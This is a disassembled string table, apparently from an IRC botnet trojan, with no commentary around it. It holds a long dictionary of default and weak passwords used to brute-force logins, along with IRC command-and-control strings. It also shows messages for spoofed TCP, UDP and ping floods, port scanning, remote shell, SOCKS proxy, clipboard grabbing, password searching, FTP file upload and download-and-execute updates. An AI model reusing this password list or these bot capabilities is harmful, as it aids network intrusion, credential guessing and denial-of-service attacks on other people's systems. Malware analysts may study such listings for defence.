aFileDeletedS_	db '[FILE]: Deleted ',27h,'%s',27h,'.',0Ah,0 ; DATA XREF: sub_408206+2C9o
		align 10h
aCouldNotDelete	db 'Could not delete ',27h,'%s',27h,'.!',0Ah,0 ; DATA XREF: sub_408206+2BBo
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_408206+187o
		align 4
aProcProcessL_0	db '[PROC]: Process list failed.',0 ; DATA XREF: sub_408519:loc_40859Ao
		align 4
aProcProcessLis	db '[PROC]: Process list completed.',0 ; DATA XREF: sub_408519+7Ao
aProcListingPro	db '[PROC]: Listing processes:',0 ; DATA XREF: sub_408519+2Ao
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .data:0042C2E4o
		align 10h
aLan		db 'lan',0              ; DATA XREF: .data:0042C2DCo
aMain		db 'main',0             ; DATA XREF: .data:0042C2D8o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:0042C2D4o
aBlank		db 'blank',0            ; DATA XREF: .data:0042C2D0o
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:0042C2CCo
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0042C2C8o
aXp		db 'xp',0               ; DATA XREF: .data:0042C2C4o
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .data:0042C2C0o
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:0042C2BCo
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:0042C2B8o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0042C2B4o
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:0042C2B0o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:0042C2ACo
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:0042C2A8o
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0042C2A0o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0042C29Co
		align 10h
aSql		db 'sql',0              ; DATA XREF: .data:0042C298o
aSa		db 'sa',0               ; DATA XREF: sub_408A18+1897o
					; .text:00413D62o ...
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:0042C290o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: .data:0042C288o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0042C284o
		align 4
aData		db 'data',0             ; DATA XREF: .data:0042C280o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0042C27Co
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0042C278o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0042C274o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0042C270o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0042C268o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0042C264o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0042C260o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .data:0042C25Co
		align 4
aHell_0		db 'hell',0             ; DATA XREF: .data:0042C258o
		align 10h
aGod		db 'god',0              ; DATA XREF: .data:0042C254o
aSex		db 'sex',0              ; DATA XREF: .data:0042C250o
aSlut		db 'slut',0             ; DATA XREF: .data:0042C24Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:0042C248o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042C244o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:0042C240o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:0042C23Co
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0042C238o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0042C234o
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_408A18+7B8o
					; .data:0042C230o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0042C22Co
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:0042C228o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0042C220o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0042C21Co
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0042C218o
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0042C214o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0042C210o
aNeil		db 'neil',0             ; DATA XREF: .data:0042C20Co
		align 10h
aLee		db 'lee',0              ; DATA XREF: .data:0042C208o
aBrian		db 'brian',0            ; DATA XREF: .data:0042C204o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:0042C1FCo
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:0042C1F8o
aSam		db 'sam',0              ; DATA XREF: .data:0042C1F4o
aLuke		db 'luke',0             ; DATA XREF: .data:0042C1F0o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042C1ECo
					; .data:0042C200o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0042C1E8o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042C1E4o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0042C1E0o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0042C1DCo
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0042C1D8o
aJen		db 'jen',0              ; DATA XREF: .data:0042C1D4o
aBob		db 'bob',0              ; DATA XREF: .data:0042C1D0o
					; .data:0042C224o
aQwe		db 'qwe',0              ; DATA XREF: .data:0042C1CCo
aZxc		db 'zxc',0              ; DATA XREF: .data:0042C1C8o
aAsd		db 'asd',0              ; DATA XREF: .data:0042C1C4o
aQaz		db 'qaz',0              ; DATA XREF: .data:0042C1C0o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0042C1BCo
aWinnt		db 'winnt',0            ; DATA XREF: .data:0042C1B8o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0042C1B4o
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: .data:0042C1B0o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:0042C1ACo
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .data:0042C1A8o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0042C1A4o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0042C1A0o
aOem		db 'oem',0              ; DATA XREF: .data:0042C19Co
aUser		db 'user',0             ; DATA XREF: sub_408A18+1D62o
					; .data:0042C198o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0042C194o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0042C190o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:0042C18Co
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0042C188o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0042C184o
					; .data:0042C2E0o
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0042C180o
aWeb		db 'web',0              ; DATA XREF: .data:0042C17Co
aOutlook	db 'outlook',0          ; DATA XREF: .data:0042C178o
aMail		db 'mail',0             ; DATA XREF: .data:0042C174o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0042C170o
		align 10h
aNull_0		db 'null',0             ; DATA XREF: .data:0042C16Co
		align 4
aServer		db 'server',0           ; DATA XREF: sub_408A18+1A25o
					; .data:0042C164o
		align 10h
aSystem		db 'system',0           ; DATA XREF: .data:0042C160o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0042C158o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042C154o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:0042C150o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0042C14Co
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0042C148o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0042C140o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:0042C13Co
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41175C+98o
					; .data:0042C138o
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0042C134o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0042C130o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:0042C12Co
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0042C128o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .data:0042C124o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .data:0042C120o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0042C11Co
a123456		db '123456',0           ; DATA XREF: .data:0042C118o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0042C114o
		align 10h
a1234		db '1234',0             ; DATA XREF: .data:0042C110o
		align 4
a123		db '123',0              ; DATA XREF: .data:0042C10Co
a12		db '12',0               ; DATA XREF: .data:0042C108o
		align 10h
a1:					; DATA XREF: .data:0042C104o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:0042C100o
aPwd		db 'pwd',0              ; DATA XREF: .data:0042C0FCo
aPass_0		db 'pass',0             ; DATA XREF: .data:0042C0F8o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0042C0F4o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042C0F0o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0042C0ECo
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0042C0E8o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .data:0042C0E4o
aDb2		db 'db2',0              ; DATA XREF: .data:0042C0C0o
					; .data:0042C28Co
aOracle		db 'oracle',0           ; DATA XREF: .data:0042C0BCo
					; .data:0042C2A4o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .data:0042C0B8o
aDatabase	db 'database',0         ; DATA XREF: .data:0042C0B4o
					; .data:0042C26Co
		align 10h
aDefault	db 'default',0          ; DATA XREF: .data:0042C0B0o
					; .data:0042C15Co
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042C0ACo
					; .data:0042C144o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0042C0A8o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042C0A4o
					; .data:0042C2ECo
aStudent	db 'student',0          ; DATA XREF: .data:0042C0A0o
					; .data:0042C2E8o
aOwner		db 'owner',0            ; DATA XREF: .data:0042C09Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0042C098o
		align 10h
aRoot		db 'root',0             ; DATA XREF: .text:00413D69o
					; .data:0042C094o ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0042C090o
					; .data:0042C2F0o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .text:00413D70o
					; .data:0042C08Co ...
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0042C088o
					; .data:0042C0DCo
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042C084o
					; .data:0042C0D8o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042C080o
					; .data:0042C0D4o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042C07Co
					; .data:0042C0D0o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:off_42C078o
					; .data:0042C0CCo
		align 4
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_42BFB4o
		align 4
a@celestial_org	db '*@celestial.org',0  ; DATA XREF: .data:off_42BFB0o
asc_425A4C:				; DATA XREF: sub_40863D+129o
					; sub_40863D+1ADo
		unicode	0, <|>,0
asc_425A50	db ' :',0               ; DATA XREF: sub_40863D:loc_40871Do
					; sub_408A18+7Do ...
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40863D+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40863D+38o
		align 4
aMainConnectedT	db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_4088B9+9Fo
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_408A18+5CFDo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_408A18+5CE8o
		align 4
aMainUserSLog_1	db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_408A18+5CD4o
aMainPasswordAc	db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_408A18+5CB7o
		align 10h
aMainFailedHost	db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_408A18+5C3Fo
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_408A18+5C1Co
		align 10h
aMainFailedPass	db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_408A18+5BD8o
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_408A18+5BC9o
					; sub_408A18+5C30o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_408A18+5BB5o
		align 4
asc_425BBC:				; DATA XREF: sub_408A18+5B63o
		unicode	0, <~>,0
dword_425BC0	dd 0		aMainRandomNick	db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_408A18+5B13o
		align 4
aScanFailedTo_2	db '[SCAN]: Failed to start scan, no IP specified.',0
					; DATA XREF: sub_408A18+58C5o
		align 4
aStoppingPrevio	db 'Stopping previous scans',0 ; DATA XREF: sub_408A18+588Ao
aUdpFailedToSta	db '[UDP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+567Co
		align 10h
aUdpSendingDPac	db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
					; DATA XREF: sub_408A18+5617o
		db 0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_408A18+554Eo
		align 4
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+5524o
		align 10h
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: sub_408A18+54C9o
		db 0
		align 4
aTcpInvalidFl_0	db '[TCP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_408A18:loc_40DE1Do
		align 4
aTcpFailedToSta	db '[TCP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+53E9o
		align 4
aTcpSSFloodingS	db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_408A18+5385o
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_408A18+5373o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_408A18+536Co
aTcpInvalidFloo	db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_408A18+5293o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_408A18+5287o
					; sub_411A79+2CAo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_408A18+5273o
					; sub_411A79+292o
aFtpUploading_0	db '[FTP]: Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_408A18:loc_40DBB1o
		align 4
aFtpUploadingFi	db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_408A18+5192o
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_408A18+517Bo
aSS_4		db '-s:%s',0            ; DATA XREF: sub_408A18+5162o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_408A18+5142o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_408A18+510Fo
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_408A18+50FEo
		align 4
aFtpFileNotFoun	db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_408A18+50A5o
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_408A18+507Fo
		align 4
aHcon		db 'hcon',0             ; DATA XREF: sub_408A18+505Eo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_408A18+504Ao
aMainInvalidLog	db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_408A18+4F84o
		align 4
aMainNoUserLogg	db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_408A18+4F7Co
		align 4
aMainS		db '[MAIN]: %s',0       ; DATA XREF: sub_408A18+4F20o
		align 4
aSecureFailedTo	db '[SECURE]: Failed to start secure thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4EF6o
					; sub_40E745+3DEo
		align 10h
aSecureSSystem_	db '[SECURE]: %s system.',0 ; DATA XREF: sub_408A18+4E92o
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_408A18+4E8Co
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_408A18+4E85o
		align 10h
aSocks4FailedTo	db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4DF7o
		align 4
aSocks4ServerSt	db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_408A18+4D9Eo
					; sub_411080+A1o
aFindfile_0	db '[FINDFILE]',0       ; DATA XREF: sub_408A18+4CD0o
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_408A18+4CCBo
		align 4
aProc		db '[PROC]',0           ; DATA XREF: sub_408A18+4CBBo
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_408A18+4CB6o
		align 4
aMainReconnecti	db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_408A18+4C80o
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_408A18:loc_40D68Bo
		align 4
aMainDisconnect	db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_408A18+4C5Eo
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_408A18:loc_40D669o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_408A18+4C28o
		align 4
aMainStatusRead	db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_408A18+4BDAo
		align 10h
aMainBotIdS_	db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_408A18+4B9Bo
aThreadsFaile_0	db '[THREADS]: Failed to start list thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4B68o
		align 4
aThreadsListThr	db '[THREADS]: List threads.',0 ; DATA XREF: sub_408A18+4B07o
		align 4
aSub		db 'sub',0              ; DATA XREF: sub_408A18+4AE5o
aMainAliasList_	db '[MAIN]: Alias list.',0 ; DATA XREF: sub_408A18+4A8Fo
aLogFailedToSta	db '[LOG]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4A5Fo
aLogListingLog_	db '[LOG]: Listing log.',0 ; DATA XREF: sub_408A18+4A04o
aMainNetworkInf	db '[MAIN]: Network Info.',0 ; DATA XREF: sub_408A18+495Do
		align 10h
aMainSystemInfo	db '[MAIN]: System Info.',0 ; DATA XREF: sub_408A18+492Do
		align 4
aMainRemovingBo	db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_408A18+48D9o
		align 10h
aProcsFailedToS	db '[PROCS]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4863o
		align 4
aProcsProccessL	db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_408A18+4802o
aFull		db 'full',0             ; DATA XREF: sub_408A18+47E6o
		align 4
aProcAlreadyRun	db '[PROC]: Already running.',0 ; DATA XREF: sub_408A18+4780o
		align 4
aMainUptimeS_	db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_408A18+472Co
aCmdRemoteShe_0	db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_408A18:loc_40D0B6o
		align 4
aCmdCouldnTOpen	db '[CMD]: Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_408A18+4694o
		align 4
aCmdRemoteShell	db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_408A18+4675o
		align 10h
aMainGetClipboa	db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_408A18+465Fo
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_408A18+4630o
		align 4
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_408A18:loc_40D036o
		align 4
aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_408A18+4609o
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_408A18:loc_40D005o
		align 4
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_408A18:loc_40CFFEo
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_408A18+45DFo
		align 4
aRlogindFailedT	db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4571o
		align 4
aRlogindServerL	db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
					; DATA XREF: sub_408A18+4518o
aHttpdFailedT_1	db '[HTTPD]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4438o
		align 4
aTftpFailedTo_0	db '[TFTP]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_408A18+42A8o
aTftpAlreadyRun	db '[TFTP]: Already running.',0 ; DATA XREF: sub_408A18+418Bo
		align 4
aFindpassFail_0	db '[FINDPASS]: Failed to start search thread, error: <%d>.',0
					; DATA XREF: sub_408A18+4163o
aFindpassSearch	db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_408A18+4100o
aScanFailedTo_1	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: sub_408A18+40C5o
					; sub_408A18+580Co
		align 4
aScanSPortScanS	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: sub_408A18+3FFDo
					; sub_408A18+5A45o
		db 'for %d minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_408A18+3FD2o
					; sub_408A18+5A1Ao
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_408A18+3FCBo
					; sub_408A18+5A13o
		align 10h
aScanAlreadyDSc	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: sub_408A18+3DF4o
					; sub_408A18+56D4o
		align 4
aMainNickChange	db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_408A18+3D90o
		align 4
aMainJoinedCh_0	db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_408A18+3D73o
		align 4
aMainPartedChan	db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_408A18+3D52o
		align 4
aMainIrcRawS_	db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_408A18+3D38o
		align 4
aThreadsFailedT	db '[THREADS]: Failed to kill thread: %s.',0
					; DATA XREF: sub_408A18:loc_40C6D7o
		align 4
aThreadsKilledT	db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_408A18+3CB8o
		align 4
aThreadsNoActiv	db '[THREADS]: No active threads found.',0
					; DATA XREF: sub_408A18:loc_40C68Bo
aThreadsStopped	db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_408A18+3C69o
		align 4
aAll		db 'all',0              ; DATA XREF: sub_408A18+3C53o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_408A18+3BC6o
					; sub_408A18:loc_40D652o
		align 4
aMainPrefixChan	db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_408A18+3B45o
		align 4
aShellCouldnTOp	db '[SHELL]: Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_408A18:loc_40C544o
aShellFileOpene	db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_408A18+3B22o
		align 4
aMainServerChan	db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_408A18+3AEDo
		align 4
aDnsCouldnTReso	db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_408A18+3AC5o
		align 10h
aDnsLookupSS_	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_408A18+3AAFo
		align 4
aProcFailedTo_0	db '[PROC]: Failed to terminate process: %s',0
					; DATA XREF: sub_408A18:loc_40C478o
aProcProcessK_1	db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_408A18+3A59o
		align 10h
aProcProcessK_0	db '[PROC]: Process killed & deleted: %s',0 ; DATA XREF: sub_408A18+3A11o
		align 4
aProcFailedToTe	db '[PROC]: Failed to terminate process ID: %s',0
					; DATA XREF: sub_408A18:loc_40C3CAo
		align 4
aProcProcessKil	db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_408A18+39ABo
		align 4
aFileDeletedS_0	db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_408A18+3954o
		align 4
aFileListS	db '[FILE]: List: %s',0 ; DATA XREF: sub_408A18+392Fo
		align 10h
aMircCommandSen	db '[mIRC]: Command sent.',0 ; DATA XREF: sub_408A18:loc_40C2EFo
		align 4
aMircClientNotO	db '[mIRC]: Client not open.',0 ; DATA XREF: sub_408A18+38D0o
		align 4
aCmdCommandsS	db '[CMD]: Commands: %s',0 ; DATA XREF: sub_408A18+3890o
aCmdErrorSendin	db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_408A18+3888o
		align 10h
aMainReadFileFa	db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_408A18+3831o
		align 10h
aMainReadFileCo	db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_408A18+381Bo
		align 10h
aMainGethostS_	db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_408A18+3798o
		align 4
aMainUnableToEx	db '[MAIN]: Unable to extract Gethost command.',0
					; DATA XREF: sub_408A18:loc_40C16Co
		align 4
aMainGethostSCo	db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_408A18+373Eo
		align 4
aMainAliasAdded	db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_408A18+3689o
		align 4
aMainPrivmsgSS_	db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_408A18+3646o
		align 10h
aMainActionSS_	db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_408A18+35DBo
aMainCycle_	db '[MAIN]: Cycle.',0   ; DATA XREF: sub_408A18+355Bo
		align 4
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_408A18+351Fo
					; sub_408A18+3D42o
		align 4
aMainModeChange	db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_408A18+34FAo
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_408A18+34ECo
		align 4
aCloneRawSS	db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_408A18+34C0o
		align 10h
aCloneModeSS	db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_408A18+3451o
		align 4
aModeS		db 'MODE %s',0          ; DATA XREF: sub_408A18+33F9o
aCloneNickSS	db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_408A18+33C6o
		align 4
aNickS		db 'NICK %s',0          ; DATA XREF: sub_408A18+336Do
					; sub_408A18+3B8Do
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_408A18+334Co
		align 4
aS_5		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_408A18+3318o
					; sub_408A18+33A5o ...
		align 4
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_408A18+32DFo
aMainRepeatNotA	db '[MAIN]: Repeat not allowed in command line: %s',0
					; DATA XREF: sub_408A18:loc_40BCE4o
		align 4
aMainRepeatS	db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_408A18+3291o
		align 10h
aMainDelay_	db '[MAIN]: Delay.',0   ; DATA XREF: sub_408A18:loc_40BC16o
		align 10h
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_408A18+31BAo
					; sub_408A18+326Bo ...
		align 10h
aUpdateUpToDate	db '[UPDATE]: Up to Date',0 ; DATA XREF: sub_408A18+3146o
		align 4
aUpdateFailedTo	db '[UPDATE]: Failed to start download thread, error: <%d>.',0
					; DATA XREF: sub_408A18+311Eo
aUpdateDownload	db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_408A18+30BFo
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_408A18+3018o
		align 4
aExecCommandsS	db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_408A18+2F94o
		align 4
aExecCouldnTExe	db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_408A18+2F81o
		align 4
aFindfileFailed	db '[FINDFILE]: Failed to start search thread, error: <%d>.',0
					; DATA XREF: sub_408A18+2ECDo
aFindfileSear_0	db '[FINDFILE]: Searching for file: %s in: %s.',0
					; DATA XREF: sub_408A18+2E69o
		align 10h
aFile		db '[FILE]:',0          ; DATA XREF: sub_408A18:loc_40B7DFo
					; sub_408A18:loc_40C373o
